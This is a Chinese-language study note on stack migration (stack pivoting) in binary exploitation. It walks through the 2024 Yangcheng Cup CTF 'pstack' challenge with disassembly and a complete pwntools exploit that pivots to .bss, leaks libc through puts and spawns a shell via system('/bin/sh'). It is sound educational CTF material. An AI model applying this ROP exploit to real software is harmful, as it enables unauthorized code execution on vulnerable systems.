Stack-Migration
昨天面试,学习(或者说是复习)一下面试中答的不太好的问题。被问到了栈溢出没有puts函数泄露libc地址该怎么做。当时有点懵,回答了用syscall调用write。实际上有一种栈迁移的方法,setbuf时会在bss上面放一些libc的地址,利用栈溢出把栈迁移到bss段上,可以在bss段上面构造地址。
栈迁移举例
实际上,就是利用两次leave ret来任意修改rsp(栈顶)的值。leave == mov rsp, rbp; pop rbp
来看羊城杯2024 pstack,见谅可能写的不太易懂:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ssize_t vuln() { char buf[48];
puts("Can you grasp this little bit of overflow?"); return read(0, buf, 0x40uLL); }
.text:00000000004006B0 push rbp .text:00000000004006B1 mov rbp, rsp .text:00000000004006B4 sub rsp, 30h .text:00000000004006B8 lea rdi, s ; "Can you grasp this little bit of overfl"... .text:00000000004006BF call puts .text:00000000004006C4 lea rax, [rbp+buf] .text:00000000004006C8 mov edx, 40h ; '@' ; nbytes .text:00000000004006CD mov rsi, rax ; buf .text:00000000004006D0 mov edi, 0 ; fd .text:00000000004006D5 call read .text:00000000004006DA nop .text:00000000004006DB leave .text:00000000004006DC retn
|
vuln函数存在栈溢出,但是只能溢出两个单元,正好是栈上保存的父函数栈帧、和返回地址。
此时将rbp覆盖成bss段上的地址,然后将返回地址改成vuln的read函数处,则rbp在该函数leave时会指向bss段。然后ret到vuln_read处执行。
由于vuln函数的read是用rbp+偏移来获得buf的地址的,所以其实rbp被我们修改后,read函数就会在bss段写入(我们在这里写入rop链,rop链的内容就是泄露puts函数地址->恢复rbp->vuln_read。后面正好是rbp,跟上rop链起始位置和leave; ret,用作迁移。),此时vuln_read执行完毕后再次leave,这时候我们在栈上预留的rbp就会传递给rsp,然后ret到bss段上。
由于我们在写rop链时,给rsp的位置保留了leave; ret,那么rop链中的,rop链起始位置的值,会再次传给rsp,并且ret。此时rsp就会到bss的rop链上执行了。
同样地,rop链中,我们有pop_rbp_ret,可以控制rbp指向bss段。然后最后再跟上vuln_read,就可以通过read函数的rbp相对寻址,再次在bss段上写入。写入后执行nop; leave; retn;。同理,在写入的最末尾两个单元分别放入rop链2的起始地址和leave; ret的gadget,就可以将rsp再迁移到rop链2处,rop链2处执行system("/bin/sh")即可。
总结
栈迁移,就是将rsp、rbp迁移到别的位置的手段。
可以处理的问题
- 对栈溢出长度不够,rop链无法写入。
- 没有puts等泄露函数时,将栈迁移到bss段上,利用setvbuf函数执行时再bss段上保留的libc地址来凑地址。
原理
利用两次leave; ret,将我们在栈中写入的、覆盖的保留rbp值,移动到rsp中。这两次leave; ret的第一次一般是函数执行完毕时执行的leave; retn,第二次一般都是覆盖返回地址时写入的gadget。
exp
师傅们可以根据exp和题目来调试加深理解。
题目链接:Release 附件下载 · CTF-Archives/2024-YCB-Undergraduate
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * io = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6')
pop_rbp_ret = 0x00000000004005b0 pop_rdi_ret = 0x0000000000400773 vuln_read = 0x00000000004006C4 leave_ret = 0x00000000004006db
puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
bss = elf.bss() + 0x800 payload1 = b'a' * 0x30 + p64(bss + 0x20) + p64(vuln_read) io.sendafter(b'overflow?\n',payload1)
payload2 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp_ret) + p64(bss + 0x300) + p64(vuln_read) + p64(bss - 0x18) + p64(leave_ret) io.send(payload2)
leak_puts = u64(io.recv(6).ljust(8,b'\x00')) libc_base = leak_puts - libc.sym['puts'] print(hex(libc_base)) system_addr = libc.sym['system'] + libc_base binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_base
gdb.attach(io) pause()
payload3 = p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(bss + 0x300 - 0x38) + p64(leave_ret) io.send(payload3)
io.interactive()
|